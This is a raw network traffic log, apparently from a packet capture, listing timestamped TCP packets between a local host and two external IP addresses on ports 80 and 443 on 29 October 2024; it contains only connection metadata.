Oct 29, 2024 05:03:36.274142027 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.274194956 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.312448025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.312480927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.312514067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.312546968 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.312616110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317069054 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317111969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317164898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317198992 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317248106 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317250967 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317281961 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317316055 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317348957 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317365885 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317384005 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317419052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317468882 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317559004 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317610979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317640066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317655087 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317691088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317724943 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317748070 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317758083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317823887 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317873955 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317907095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.317918062 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317943096 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.317960024 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318010092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318044901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318090916 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318249941 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318300009 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318337917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318373919 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318413019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318497896 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318526983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318574905 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318584919 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318618059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318651915 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318660975 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318687916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318727970 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318809032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318836927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318869114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318902969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318919897 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318936110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.318944931 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.318970919 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319016933 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.319056034 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319088936 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319139957 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319173098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319184065 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.319207907 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319247007 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.319303989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319359064 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.319359064 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.319402933 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.320230007 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354358912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354430914 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354468107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354506016 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354513884 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354559898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354607105 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354613066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354648113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354681015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354698896 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354715109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354748011 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354784966 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354793072 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354820013 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354860067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354888916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354924917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354933023 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.354959965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.354994059 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355042934 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.355601072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355660915 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.355784893 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355818987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355870008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355901957 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355923891 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.355941057 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.355946064 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.355992079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356025934 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356060028 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356076002 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356096983 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356112003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356161118 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356194973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356228113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356237888 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356261969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356292009 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356321096 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356328964 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356338978 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356380939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356415033 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356460094 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356466055 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356503010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356535912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356568098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356584072 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356604099 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356637001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356668949 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356702089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356715918 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356736898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356770039 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356781960 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356805086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356837988 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356848001 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.356872082 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356904984 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356939077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356973886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.356982946 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.357316971 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.357368946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.357419014 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.357451916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.357465029 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.357486010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.357542038 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.388207912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388243914 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388278008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388295889 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.388310909 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388349056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388360023 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.388379097 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.388636112 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392353058 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392410040 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392440081 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392462015 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392491102 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392524004 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392525911 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392565012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392709017 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392738104 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392741919 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392776012 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392785072 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392811060 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392863035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392896891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392930984 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392945051 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.392966032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.392999887 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393017054 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.393157959 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393188000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393204927 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.393239021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393292904 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393326998 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.393357992 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.393605947 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.431257963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.431420088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.431451082 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.431495905 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.431505919 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.431596994 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.435867071 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.435931921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.435996056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436028957 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436064959 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436084986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436099052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436201096 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436233997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436269999 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436285019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436290979 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436320066 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436358929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436367989 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436479092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436531067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436575890 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436583042 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436618090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436650991 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436666012 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436775923 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.436871052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436924934 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436959028 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.436990976 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437007904 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437025070 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437036991 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437061071 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437257051 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437299967 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437306881 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437352896 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437381983 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437386036 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437422991 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437475920 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437546015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437578917 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437613010 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437629938 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437654972 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437669039 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437705994 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437740088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437839031 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.437877893 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.437974930 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438004971 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438007116 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438046932 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438056946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438090086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438122034 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438132048 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438157082 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438189983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438225031 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438227892 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438255072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438290119 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438302040 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438354969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438384056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438395977 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438433886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438467026 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438479900 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438500881 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438507080 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.438535929 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.438786983 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:36.473279953 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:36.626296043 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.185425997 CET	80	50057	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:37.186408043 CET	50057	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.305610895 CET	50057	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.305923939 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.311203003 CET	80	50057	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:37.311263084 CET	80	50058	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:37.311289072 CET	50057	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.311342955 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.311814070 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:37.317517996 CET	80	50058	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:38.212953091 CET	80	50058	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:38.213020086 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.215823889 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.216125965 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.221519947 CET	80	50059	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:38.221584082 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.221672058 CET	80	50058	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:38.221885920 CET	50058	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.222120047 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:38.227457047 CET	80	50059	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:39.129828930 CET	80	50059	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:39.129925013 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.238473892 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.238668919 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.244052887 CET	80	50060	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:39.244122982 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.244355917 CET	80	50059	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:39.244426012 CET	50059	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.244519949 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:39.249840975 CET	80	50060	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:39.408029079 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.155226946 CET	80	50060	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:40.155329943 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.178210020 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.179249048 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.184324980 CET	80	50060	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:40.184470892 CET	50060	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.184730053 CET	80	50061	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:40.184808969 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.185478926 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:40.191224098 CET	80	50061	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:40.657255888 CET	443	50052	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:40.657525063 CET	443	50052	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:40.657604933 CET	50052	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:40.657777071 CET	50052	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:40.657819986 CET	443	50052	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:41.132345915 CET	80	50061	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:41.135274887 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.255381107 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.255639076 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.260987043 CET	80	50062	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:41.261387110 CET	80	50061	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:41.261506081 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.261514902 CET	50061	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.261826992 CET	50062	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:41.267132998 CET	80	50062	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:41.483484983 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:41.483515978 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:41.483694077 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:41.484003067 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:41.484030962 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.098658085 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.098728895 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.100080013 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.100089073 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.100578070 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.128142118 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.129085064 CET	50063	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:03:42.129146099 CET	443	50063	188.114.97.3	192.168.2.5
Oct 29, 2024 05:03:42.129422903 CET	50063	443	192.168.2.5	188.114.97.3
